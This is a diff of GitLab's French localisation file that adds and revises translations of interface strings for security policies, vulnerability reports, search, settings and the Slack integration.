msgstr "%{ifLabelStart}si%{ifLabelEnd} %{scanners} trouve(nt) plus de %{vulnerabilitiesAllowed} vulnérabilités %{severities} %{vulnerabilityStates} dans une demande de fusion ouverte ciblant %{branches}"
@@ -36182,14 +36814,38 @@ msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{selector}"
msgstr "%{ifLabelStart}si%{ifLabelEnd} %{selector}"
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
-msgstr ""
+msgstr "%{thenLabelStart}Alors%{thenLabelEnd} Nécessite l'approbation de %{approvalsRequired} des approbateurs suivants :"
+
+msgid "ScanResultPolicy|Newly Detected"
+msgstr "Nouvellement détectées"
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr "Préexistantes"
msgid "ScanResultPolicy|add an approver"
msgstr "ajouter un approbateur"
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr "trouve toute licence %{matchType} %{licenseType} et est %{licenseStates} dans une demande de fusion ouverte ciblant %{branches}"
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr "états de licence"
+
+msgid "ScanResultPolicy|license type"
+msgstr "type de licence"
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr "type de correspondance"
+
msgid "ScanResultPolicy|scanners"
msgstr "analyseurs"
@@ -36221,7 +36877,7 @@ msgid "Scheduled"
msgstr "Planifié"
msgid "Scheduled Deletion At - %{permanent_deletion_time}"
-msgstr ""
+msgstr "Suppression programmée le - %{permanent_deletion_time}"
msgid "Scheduled a rebase of branch %{branch}."
msgstr "Rebase de la branche %{branch} planifié."
@@ -36284,13 +36940,13 @@ msgid "Search GitLab"
msgstr "Rechercher dans GitLab"
msgid "Search Within"
-msgstr ""
+msgstr "Rechercher dans"
msgid "Search a group"
msgstr "Rechercher un groupe"
msgid "Search an environment spec"
-msgstr ""
+msgstr "Rechercher une spécification d'environnement"
msgid "Search assignees"
msgstr "Rechercher des assigné(e)s"
@@ -36344,10 +37000,10 @@ msgid "Search for projects, issues, etc."
msgstr "Rechercher des projets, des tickets, etc."
msgid "Search for this text"
-msgstr ""
+msgstr "Recherchez ce texte"
msgid "Search forks"
-msgstr ""
+msgstr "Rechercher des projets divergents"
msgid "Search groups"
msgstr "Rechercher des groupes"
@@ -36382,17 +37038,14 @@ msgstr "Rechercher des projets"
msgid "Search projects"
msgstr "Rechercher des projets"
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr "Rechercher des branches protégées"
msgid "Search rate limits"
-msgstr ""
+msgstr "Limitation de la fréquence des recherches"
msgid "Search refs"
-msgstr ""
+msgstr "Rechercher des réf."
msgid "Search requirements"
msgstr "Rechercher des exigences"
@@ -36456,8 +37109,8 @@ msgstr "Affichage de %{from} - %{to} sur %{count} %{scope} pour %{term_element}
msgid "SearchResults|code result"
msgid_plural "SearchResults|code results"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "résultat dans le code"
+msgstr[1] "résultats dans le code"
msgid "SearchResults|comment"
msgid_plural "SearchResults|comments"
@@ -36506,8 +37159,8 @@ msgstr[1] "utilisateurs"
msgid "SearchResults|wiki result"
msgid_plural "SearchResults|wiki results"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "résultat dans le wiki"
+msgstr[1] "résultats dans le wiki"
msgid "SearchToken|Assignee"
msgstr "Assigné"
@@ -36666,7 +37319,7 @@ msgid "SecurityConfiguration|Enable Auto DevOps"
msgstr "Activer Auto DevOps"
msgid "SecurityConfiguration|Enable security training to help your developers learn how to fix vulnerabilities. Developers can view security training from selected educational providers, relevant to the detected vulnerability."
-msgstr ""
+msgstr "Activer la formation sur la sécurité pour aider vos développeurs à apprendre à corriger les vulnérabilités. Les développeurs peuvent voir la formation à la sécurité d'une sélection de plateformes d'apprentissage, adaptée à la vulnérabilité détectée."
msgid "SecurityConfiguration|Enabled"
msgstr "Activé"
@@ -36675,7 +37328,7 @@ msgid "SecurityConfiguration|High-level vulnerability statistics across projects
msgstr "Statistiques des vulnérabilités de haut niveau parmi les groupes et projets"
msgid "SecurityConfiguration|Immediately begin risk analysis and remediation with application security features. Start with SAST and Secret Detection, available to all plans. Upgrade to Ultimate to get all features, including:"
-msgstr "Démarrez immédiatement l'analyse et la résolution des risques avec les fonctionnalités de sécurité des applications. Commencez avec SAST et la Détection de Secrets, disponibles dans tous les forfaits. Passez à Ultimate pour obtenir l'ensemble des fonctionnalités, notamment :"
+msgstr "Démarrez immédiatement l'analyse et la remédiation des risques avec les fonctionnalités de sécurité des applications. Commencez avec SAST et la Détection de Secrets, disponibles dans tous les forfaits. Passez à Ultimate pour obtenir l'ensemble des fonctionnalités, notamment :"
msgid "SecurityConfiguration|Learn more about vulnerability training"
msgstr "En savoir plus sur la formation concernant les vulnérabilités"
@@ -36752,6 +37405,15 @@ msgstr "branches %{branches} et %{lastBranch}"
msgid "SecurityOrchestration|%{branches} branch"
msgstr "branche %{branches}"
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr "%{scannerStart}%{scanner}%{scannerEnd}"
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr "%{scannerStart}%{scanner}%{scannerEnd} sur les exécuteurs ayant les étiquettes %{tags} et %{lastTag}"
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr "%{scannerStart}%{scanner}%{scannerEnd} sur les exécuteurs ayant l'étiquette %{tags}"
+
msgid "SecurityOrchestration|%{scanners}"
msgstr "%{scanners}"
@@ -36773,6 +37435,9 @@ msgstr "Actions"
msgid "SecurityOrchestration|Add action"
msgstr "Ajouter une action"
+msgid "SecurityOrchestration|Add new approver"
+msgstr "Ajouter un nouvel approbateur"
+
msgid "SecurityOrchestration|Add rule"
msgstr "Ajouter une règle"
@@ -36891,7 +37556,7 @@ msgid "SecurityOrchestration|Latest scan run against %{agent}"
msgstr "Dernière analyse exécutée avec %{agent}"
msgid "SecurityOrchestration|License Scan"
-msgstr ""
+msgstr "Analyse de Licence"
msgid "SecurityOrchestration|New policy"
msgstr "Nouvelle politique"
@@ -36933,7 +37598,7 @@ msgid "SecurityOrchestration|Policy changes may take some time to be applied."
msgstr "Les modifications de stratégie peuvent prendre un certain temps pour être appliquées."
msgid "SecurityOrchestration|Policy definition"
-msgstr ""
+msgstr "Définition de la politique"
msgid "SecurityOrchestration|Policy editor"
msgstr "Éditeur de politique"
@@ -36969,13 +37634,13 @@ msgid "SecurityOrchestration|Save changes"
msgstr "Enregistrer les modifications"
msgid "SecurityOrchestration|Scan Execution"
-msgstr ""
+msgstr "Exécution d'Analyse"
msgid "SecurityOrchestration|Scan Result"
msgstr "Résultat de l'analyse"
msgid "SecurityOrchestration|Scan execution"
-msgstr ""
+msgstr "Exécution d'analyse"
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr "Les politiques d'exécution d'analyse ne peuvent être créées que par des propriétaires du projet."
@@ -36990,13 +37655,13 @@ msgid "SecurityOrchestration|Scan result policies can only be created by project
msgstr "Les stratégies de résultats d'analyse ne peuvent être créées que par les propriétaires du projet."
msgid "SecurityOrchestration|Scan result policy"
-msgstr ""
+msgstr "Politique de résultat d'analyse"
msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr "Analyse à effectuer %{cadence} sur les %{branches}"
msgid "SecurityOrchestration|Scan to be performed by the agent named %{agents} %{cadence}"
-msgstr ""
+msgstr "Analyse à faire effectuer par l'agent nommé %{agents} %{cadence}"
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
msgstr "Analyse à effectuer sur chaque pipeline des %{branches}"
@@ -37005,7 +37670,7 @@ msgid "SecurityOrchestration|Security Approvals"
msgstr "Approbations de sécurité"
msgid "SecurityOrchestration|Security Scan"
-msgstr ""
+msgstr "Analyse de Sécurité"
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr "Le projet de politique de sécurité a été lié avec succès"
@@ -37020,7 +37685,7 @@ msgid "SecurityOrchestration|Select groups"
msgstr "Sélectionner des groupes"
msgid "SecurityOrchestration|Select policy"
-msgstr ""
+msgstr "Sélectionner la politique"
msgid "SecurityOrchestration|Select scan type"
msgstr "Sélectionnez le type d'analyse"
@@ -37052,8 +37717,8 @@ msgstr "Étape 2 : Détails de la politique"
msgid "SecurityOrchestration|Summary"
msgstr "Résumé"
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
-msgstr "Les branches suivantes n'existent pas sur ce projet de développement : %{branches}. Veuillez examiner toutes les branches pour vous assurer de l'exactitude des valeurs avant de mettre à jour cette politique."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
+msgstr "Les branches suivantes n'existent pas sur ce projet de développement : %{branches}. Veuillez examiner toutes les branches protégées pour vous assurer de l'exactitude des valeurs avant de mettre à jour cette politique."
msgid "SecurityOrchestration|There was a problem creating the new security policy"
msgstr "Une erreur s'est produite lors de la création de la nouvelle politique de sécurité"
@@ -37115,12 +37780,12 @@ msgstr "Vous n'avez pas encore de politique de sécurité"
msgid "SecurityOrchestration|a"
msgstr "un(e)"
-msgid "SecurityOrchestration|all branches"
-msgstr "toutes les branches"
-
msgid "SecurityOrchestration|all namespaces"
msgstr "tous les espaces de nom"
+msgid "SecurityOrchestration|all protected branches"
+msgstr "toutes les branches protégées"
+
msgid "SecurityOrchestration|an"
msgstr "un(e)"
@@ -37133,6 +37798,9 @@ msgstr "branches"
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr "scanner trouve"
@@ -37202,9 +37870,6 @@ msgstr "Tous les outils"
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr "Bien qu'il soit rare de ne pas avoir de vulnérabilités, cela peut arriver. Vérifiez vos paramètres afin de vous assurer que vous avez configuré votre tableau de bord correctement."
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr "Chez GitLab, tout est question d'action et réaction. C'est pourquoi nous nous adressons aux clients tels que vous pour orienter cette année notre travail sur la Gestion des Vulnérabilités. Nous avons de très nombreuses idées passionnantes et vous demandons de nous accompagner en répondant à une brève enquête %{boldStart}qui ne prendra pas plus de 10 minutes%{boldEnd} pour évaluer quelques-unes de nos fonctionnalités potentielles."
-
msgid "SecurityReports|Change status"
msgstr "Modifier l'état"
@@ -37230,7 +37895,7 @@ msgid "SecurityReports|Create Jira issue"
msgstr "Créer un ticket Jira"
msgid "SecurityReports|Create issue"
-msgstr ""
+msgstr "Créer un ticket"
msgid "SecurityReports|Detection"
msgstr "Détection"
@@ -37248,7 +37913,7 @@ msgid "SecurityReports|Dismissed '%{vulnerabilityName}'. Turn off the hide dismi
msgstr "« %{vulnerabilityName} » rejetée. Désactivez le masquage des rejets pour l'afficher."
msgid "SecurityReports|Does not have issue"
-msgstr ""
+msgstr "N'a pas de ticket"
msgid "SecurityReports|Download %{artifactName}"
msgstr "Télécharger %{artifactName}"
@@ -37281,10 +37946,10 @@ msgid "SecurityReports|Failed to get security report information. Please reload
msgstr "Échec de l'obtention des informations de rapport de sécurité. Veuillez recharger la page ou réessayer plus tard."
msgid "SecurityReports|Has issue"
-msgstr ""
+msgstr "A un ticket"
msgid "SecurityReports|Hide dismissed"
-msgstr ""
+msgstr "Masquer les rejets"
msgid "SecurityReports|Image"
msgstr "Image"
@@ -37335,7 +38000,7 @@ msgid "SecurityReports|No activity"
msgstr "Aucune activité"
msgid "SecurityReports|No longer detected"
-msgstr ""
+msgstr "N'est plus détectée"
msgid "SecurityReports|No vulnerabilities found"
msgstr "Aucune vulnérabilité trouvée"
@@ -37389,19 +38054,19 @@ msgid "SecurityReports|Security reports can only be accessed by authorized users
msgstr "Les rapports de sécurité ne peuvent être consultés que par les utilisateurs autorisés."
msgid "SecurityReports|Security reports help page link"
-msgstr ""
+msgstr "Lien vers la page d’aide des rapports de sécurité"
msgid "SecurityReports|Security scan results"
-msgstr ""
+msgstr "Résultats de l'analyse de sécurité"
msgid "SecurityReports|Security scans have run"
-msgstr ""
+msgstr "Les analyses de sécurité ont été exécutées"
msgid "SecurityReports|Select a project to add by using the project search field above."
msgstr "Sélectionnez un projet à ajouter en utilisant le champ de recherche du projet ci-dessus."
msgid "SecurityReports|Set status"
-msgstr ""
+msgstr "Définir l'état"
msgid "SecurityReports|Severity"
msgstr "Gravité"
@@ -37419,14 +38084,11 @@ msgid "SecurityReports|Status"
msgstr "État"
msgid "SecurityReports|Still detected"
-msgstr "Toujours détecté"
+msgstr "Toujours détectée"
msgid "SecurityReports|Submit vulnerability"
msgstr "Soumettre une vulnérabilité"
-msgid "SecurityReports|Take survey"
-msgstr "Participer à l'enquête"
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr "Le Rapport de Vulnérabilité montre les résultats des analyses réussies sur la branche par défaut de votre projet, les enregistrements des vulnérabilités ajoutées manuellement et les vulnérabilités trouvées à partir de l'analyse d'environnements opérationnels. %{linkStart}En savoir plus.%{linkEnd}"
@@ -37454,6 +38116,9 @@ msgstr "Une erreur s’est produite lors du rejet des vulnérabilités."
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr "Une erreur s’est produite lors du rejet de la vulnérabilité."
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr "Une erreur s’est produite lors de la récupération de la découverte. Veuillez réessayer."
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr "Une erreur s’est produite lors de l’annulation du rejet."
@@ -37484,9 +38149,6 @@ msgstr "Mettez à niveau pour interagir, suivre et tester au plus tôt les vulnÃ
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr "Mettez à niveau pour gérer les vulnérabilités"
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr "Enquête sur la fonctionnalité de Gestion des Vulnérabilités"
-
msgid "SecurityReports|Vulnerability Report"
msgstr "Rapport de vulnérabilité"
@@ -37497,7 +38159,7 @@ msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipel
msgstr "Bien qu'il soit rare de ne pas avoir de vulnérabilité pour votre pipeline, cela peut se produire. Dans tous les cas, nous vous demandons de revérifier vos paramètres pour vous assurer que toutes les tâches d'analyse de sécurité se sont déroulées avec succès."
msgid "SecurityReports|With issues"
-msgstr ""
+msgstr "Avec des tickets"
msgid "SecurityReports|You do not have sufficient permissions to access this report"
msgstr "Vous n’avez pas les autorisations suffisantes pour accéder à ce rapport"
@@ -37505,9 +38167,6 @@ msgstr "Vous n’avez pas les autorisations suffisantes pour accéder à ce rapp
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr "Vous devez vous connecter en tant qu’utilisateur autorisé pour voir ce rapport"
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr "Votre avis est important pour nous ! Nous vous le demanderons de nouveau dans une semaine."
-
msgid "SecurityReports|scanned resources"
msgstr "ressources analysées"
@@ -37536,10 +38195,10 @@ msgid "See the Geo troubleshooting documentation to learn more: %{docs_url}"
msgstr "Consultez la documentation de dépannage Geo pour en savoir plus : %{docs_url}"
msgid "See the affected projects in the GitLab admin panel"
-msgstr ""
+msgstr "Voir les projets affectés dans le panneau d’administration de GitLab"
msgid "See vulnerability %{vulnerability_link} for any Remediation details."
-msgstr ""
+msgstr "Voir la vulnérabilité %{vulnerability_link} pour toute information de Remédiation."
msgid "See vulnerability %{vulnerability_link} for any Solution details."
msgstr "Voir la vulnérabilité %{vulnerability_link} pour tout détail de Solution."
@@ -37554,7 +38213,7 @@ msgid "Select Git revision"
msgstr "Sélectionnez une révision Git"
msgid "Select Profile"
-msgstr ""
+msgstr "Sélectionner un profil"
msgid "Select a branch"
msgstr "Sélectionner une branche"
@@ -37623,7 +38282,7 @@ msgid "Select branch or create wildcard"
msgstr "Sélectionnez une branche ou créez un joker"
msgid "Select branches"
-msgstr ""
+msgstr "Sélectionner les branches"
msgid "Select default branch"
msgstr "Sélectionner la branche par défaut"
@@ -37653,7 +38312,7 @@ msgid "Select labels"
msgstr "Sélectionner des étiquettes"
msgid "Select merge moment"
-msgstr ""
+msgstr "Sélectionnez le moment de fusion"
msgid "Select milestone"
msgstr "Sélectionner un jalon"
@@ -37671,7 +38330,7 @@ msgid "Select project to create issue"
msgstr "Sélectionner un projet pour créer un ticket"
msgid "Select projects"
-msgstr ""
+msgstr "Sélectionnez des projets"
msgid "Select report"
msgstr "Sélectionner un rapport"
@@ -37725,13 +38384,13 @@ msgid "Selected"
msgstr ""
msgid "Selected commits"
-msgstr ""
+msgstr "Commits sélectionnés"
msgid "Selected for all items."
-msgstr ""
+msgstr "Sélectionné pour tous les éléments."
msgid "Selected for some items."
-msgstr ""
+msgstr "Sélectionné pour certains éléments."
msgid "Selected levels cannot be used by non-admin users for groups, projects or snippets. If the public level is restricted, user profiles are only visible to logged in users."
msgstr "Les niveaux sélectionnés ne peuvent pas être utilisés par des utilisateurs non administrateurs pour des groupes, des projets ou des extraits de code. Si le niveau public est limité, les profils des utilisateurs ne sont visibles que par les utilisateurs connectés."
@@ -37788,7 +38447,7 @@ msgid "Send a single email notification to Owners and Maintainers for new alerts
msgstr "Envoyer un unique courriel de notification aux Propriétaires et aux Mainteneurs pour les nouvelles alertes."
msgid "Send confirmation email"
-msgstr ""
+msgstr "Envoyer un courriel de confirmation"
msgid "Send email"
msgstr "Envoyer un courriel"
@@ -37818,10 +38477,10 @@ msgid "Send notifications about project events to a Discord channel. %{docs_link
msgstr "Envoyer des notifications concernant les événements du projet vers un canal Discord. %{docs_link}"
msgid "Send report"
-msgstr ""
+msgstr "Envoyer le rapport"
msgid "Send service data"
-msgstr ""
+msgstr "Envoyer les données du service"
msgid "Sentry"
msgstr "Sentry"
@@ -37848,7 +38507,7 @@ msgid "Server (optional)"
msgstr "Serveur (facultatif)"
msgid "Server supports batch API only, please update your Git LFS client to version 1.0.1 and up."
-msgstr ""
+msgstr "Le serveur ne prend en charge que l'API par lots. Veuillez mettre à jour votre client Git LFS vers la version 1.0.1 ou ultérieure."
msgid "Server version"
msgstr "Version du serveur"
@@ -37959,7 +38618,7 @@ msgid "Set milestone"
msgstr "Définir un jalon"
msgid "Set new password"
-msgstr ""
+msgstr "Définir le nouveau mot de passe"
msgid "Set parent epic to an epic"
msgstr ""
@@ -37974,7 +38633,7 @@ msgid "Set rate limits for package registry API requests that supersede the gene
msgstr "Configurer des limitations de fréquence pour les requêtes à l'API du registre de paquets pour remplacer celles générales aux IP et utilisateurs."
msgid "Set rate limits for searches performed by web or API requests."
-msgstr ""
+msgstr "Définissez des limites à la fréquence des recherches effectuées par les requêtes web ou d'API."
msgid "Set severity"
msgstr "Définir la gravité"
@@ -37986,7 +38645,7 @@ msgid "Set size limits for displaying diffs in the browser."
msgstr "Définir les limitations de taille pour l'affichage des diffs dans le navigateur."
msgid "Set target branch"
-msgstr ""
+msgstr "Définir la branche cible"
msgid "Set target branch to %{branch_name}."
msgstr ""
@@ -38001,7 +38660,7 @@ msgid "Set the default expiration time for job artifacts in all projects. Set to
msgstr "Définir le délai d'expiration par défaut des artéfacts des tâches dans tous les projets. Mettre à %{code_open}0%{code_close} pour que les artéfacts n'expirent jamais par défaut. Si aucune unité n'est précisée, ce sera la seconde par défaut. Ces exemples sont tous équivalents : %{code_open}3600%{code_close}, %{code_open}60 minutes%{code_close} et %{code_open}une heure%{code_close}."
msgid "Set the due date to %{due_date}."
-msgstr ""
+msgstr "Date d'échéance définie au %{due_date}."
msgid "Set the iteration to %{iteration_reference}."
msgstr "Définir le jalon à %{iteration_reference}."
@@ -38016,10 +38675,10 @@ msgid "Set the milestone to %{milestone_reference}."
msgstr "Définir le jalon à %{milestone_reference}."
msgid "Set the per-user rate limit for getting a user by ID via the API."
-msgstr ""
+msgstr "Définissez la limite de fréquence par utilisateur pour l'obtention d'un utilisateur par son ID via l'API."
msgid "Set the per-user rate limit for notes created by web or API requests."
-msgstr ""
+msgstr "Définissez la limite de fréquence par utilisateur pour les notes créées par des requêtes web ou d'API."
msgid "Set this number to 0 to disable the limit."
msgstr "Définissez ce nombre à 0 pour désactiver la limite."
@@ -38028,7 +38687,7 @@ msgid "Set time estimate"
msgstr "Définir l'estimation du temps"
msgid "Set time estimate to %{time_estimate}."
-msgstr "Définir l'estimation du temps à %{time_estimate}."
+msgstr "Estimation du temps définie à %{time_estimate}."
msgid "Set to 0 for no size limit."
msgstr "Définir à 0 pour qu'il n'y ait pas de limite."
@@ -38052,7 +38711,7 @@ msgid "Set up new device"
msgstr "Configurer un nouvel appareil"
msgid "Set up new password"
-msgstr ""
+msgstr "Définir un nouveau mot de passe"
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr "Configurez votre projet afin de pouvoir pousser et/ou récupérer automatiquement les modifications vers ou depuis un autre dépôt. Les branches, les étiquettes et les commits seront automatiquement synchronisés."
@@ -38192,7 +38851,7 @@ msgid "Shared runners enabled cannot be enabled until a valid credit card is on
msgstr "Les exécuteurs partagés ne peuvent pas être activés tant qu'aucune carte de crédit valide n'est enregistrée"
msgid "Shared runners help link"
-msgstr ""
+msgstr "Lien d'aide sur les exécuteurs partagés"
msgid "SharedRunnersMinutesSettings|By resetting the pipeline minutes for this namespace, the currently used minutes will be set to zero."
msgstr "En réinitialisant le compteur de minutes du pipeline pour cet espace de noms, les minutes actuellement utilisées seront mises à zéro."
@@ -38287,6 +38946,9 @@ msgstr "Afficher le navigateur de fichiers"
msgid "Show file contents"
msgstr "Afficher le contenu du fichier"
+msgid "Show filters"
+msgstr "Afficher les filtres"
+
msgid "Show group milestones"
msgstr "Afficher les jalons de groupe"
@@ -38410,7 +39072,7 @@ msgid "Showing data for workflow items completed in this date range. Date range
msgstr "Affichage des données des éléments terminés du flux de travail sur cette plage de dates. Celle-ci est limitée à %{maxDateRange} jours."
msgid "Showing last %{size} of log -"
-msgstr ""
+msgstr "Affichage des derniers %{size} du journal -"
msgid "Showing latest version"
msgstr "Affichage de la dernière version"
@@ -38476,7 +39138,7 @@ msgid "Sign in with single sign-on"
msgstr "Se connecter avec l'authentification unique"
msgid "Sign in with smart card"
-msgstr ""
+msgstr "Se connecter avec une carte à puce"
msgid "Sign in/Sign up pages"
msgstr "Pages de Connexion/Inscription"
@@ -38485,10 +39147,10 @@ msgid "Sign out"
msgstr "Se déconnecter"
msgid "Sign out & Register"
-msgstr ""
+msgstr "Se déconnecter et s'inscrire"
msgid "Sign up"
-msgstr ""
+msgstr "Inscription"
msgid "Sign up now"
msgstr "S'inscrire maintenant"
@@ -38502,9 +39164,6 @@ msgstr "Pages d'aide et de connexion"
msgid "Sign-in count:"
msgstr "Nombre de connexions :"
-msgid "Sign-in failed because %{error}."
-msgstr "La connexion a échoué car %{error}."
-
msgid "Sign-in page"
msgstr "Page de connexion"
@@ -38631,9 +39290,6 @@ msgstr "GitLab pour Slack a été installé avec succès."
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr "Installer l'appli GitLab pour Slack"
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr "Les notifications ne fonctionnent que si vous êtes sur la dernière version de l'appli GitLab pour Slack"
-
msgid "SlackIntegration|Project alias"
msgstr "Alias du projet"
@@ -38664,6 +39320,12 @@ msgstr "Cette intégration permet aux utilisateurs d'effectuer des opérations c
msgid "SlackIntegration|Update to the latest version"
msgstr "Mise à jour vers la dernière version"
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr "Mettre à jour vers la dernière version de GitLab pour Slack pour recevoir des notifications"
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr "Faites la mise à jour vers la dernière version pour recevoir des notifications à partir de GitLab."
+
msgid "SlackIntegration|Verification token"
msgstr "Jeton de vérification"
@@ -38691,11 +39353,11 @@ msgstr "À remplir avec le mot qui convient le mieux à votre équipe."
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr "Effectuez des opérations courantes sur ce projet en entrant des commandes barre oblique dans Slack."
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
-msgstr "%{asterisk}Étape 1.%{asterisk} Connectez-vous à votre compte GitLab pour commencer."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
+msgstr "%{asterisk}Notifications de canal%{asterisk}"
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
-msgstr "%{asterisk}Étape 2.%{asterisk} Essayez !"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
+msgstr "%{asterisk}Commandes barre oblique%{asterisk}"
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
msgstr "%{emoji}Connecté au compte GitLab %{account}"
@@ -38706,23 +39368,17 @@ msgstr "%{emoji}Bienvenue dans GitLab pour Slack !"
msgid "Slack|Connect your GitLab account"
msgstr "Connecter à votre compte GitLab"
-msgid "Slack|Create a new issue"
-msgstr "Créer un nouveau ticket"
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr "Créer de nouveaux tickets à partir de Slack : %{command}"
-
-msgid "Slack|Run a CI/CD job"
-msgstr "Exécuter une tâche CI/CD"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
+msgstr "Contrôlez GitLab depuis Slack avec les %{startMarkup}commandes barre oblique%{endMarkup}. Pour une liste des commandes disponibles, entrez %{command}."
-msgid "Slack|See a list of available commands: %{command})"
-msgstr "Voir une liste des commandes disponibles : %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
+msgstr "GitLab pour Slack prend désormais en charge les notifications basées sur les canaux. Votre équipe est ainsi informée lorsque de nouveaux tickets sont créés ou que de nouvelles tâches CI/CD sont exécutées. %{startMarkup}En savoir plus%{endMarkup}."
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr "Rationalisez vos déploiements GitLab avec ChatOps. Une fois vos %{startMarkup}pipelines CI/CD%{endMarkup} configurés, essayez : %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
+msgstr "Pour commencer à utiliser les notifications, %{startMarkup}activez l'intégration de Slack%{endMarkup} dans les paramètres de votre projet."
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
-msgstr "Afficher et contrôler le contenu GitLab pendant que vous travaillez sur Slack. Tapez la commande en tant que message dans votre client de chat pour l'activer. %{startMarkup}En savoir plus%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
+msgstr "Pour commencer à utiliser les commandes barre oblique, connectez votre compte GitLab."
msgid "Slice multiplier"
msgstr "Multiplicateur de tranches"
@@ -38749,7 +39405,7 @@ msgid "SnippetsEmptyState|Documentation"
msgstr "Documentation"
msgid "SnippetsEmptyState|New snippet"
-msgstr "Nouvel extrait"
+msgstr "Nouvel extrait de code"
msgid "SnippetsEmptyState|No snippets found"
msgstr "Aucun extrait trouvé"
@@ -38809,13 +39465,13 @@ msgid "Some common domains are not allowed. %{learn_more_link}."
msgstr "Certains domaines usuels ne sont pas autorisés. %{learn_more_link}."
msgid "Someone edited the %{issuableType} at the same time you did. Review %{linkStart}the %{issuableType}%{linkEnd} and make sure you don't unintentionally overwrite their changes."
-msgstr ""
+msgstr "Quelqu'un a modifié le %{issuableType} en même temps que vous. Examinez %{linkStart}le %{issuableType}%{linkEnd} et assurez-vous de ne pas écraser involontairement ses modifications."
msgid "Someone edited the file the same time you did. Please check out %{link_start}the file %{icon}%{link_end} and make sure your changes will not unintentionally remove theirs."
-msgstr "Quelqu'un a modifié le fichier en même temps que vous. Veuillez vérifier %{link_start}le fichier %{icon}%{link_end} et assurez-vous que ses modifications ne seront pas supprimées accidentellement par les vôtres."
+msgstr "Quelqu'un a modifié le fichier en même temps que vous. Veuillez vérifier %{link_start}le fichier %{icon}%{link_end} et assurez-vous que vos modifications ne supprimeront pas invonlontairement les siennes."
msgid "Someone edited this %{issueType} at the same time you did. The description has been updated and you will need to make your changes again."
-msgstr ""
+msgstr "Quelqu'un a modifié ce(tte) %{issueType} en même temps que vous. La description a été mise à jour et vous allez devoir refaire vos modifications."
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr "Quelqu'un a modifié cette demande de fusion en même temps que vous. Veuillez actualiser la page pour voir les modifications."
@@ -38971,7 +39627,7 @@ msgid "Something went wrong while setting %{issuableType} %{dateType} date."
msgstr "Une erreur s'est produite lors du réglage de la date %{dateType} de %{issuableType}."
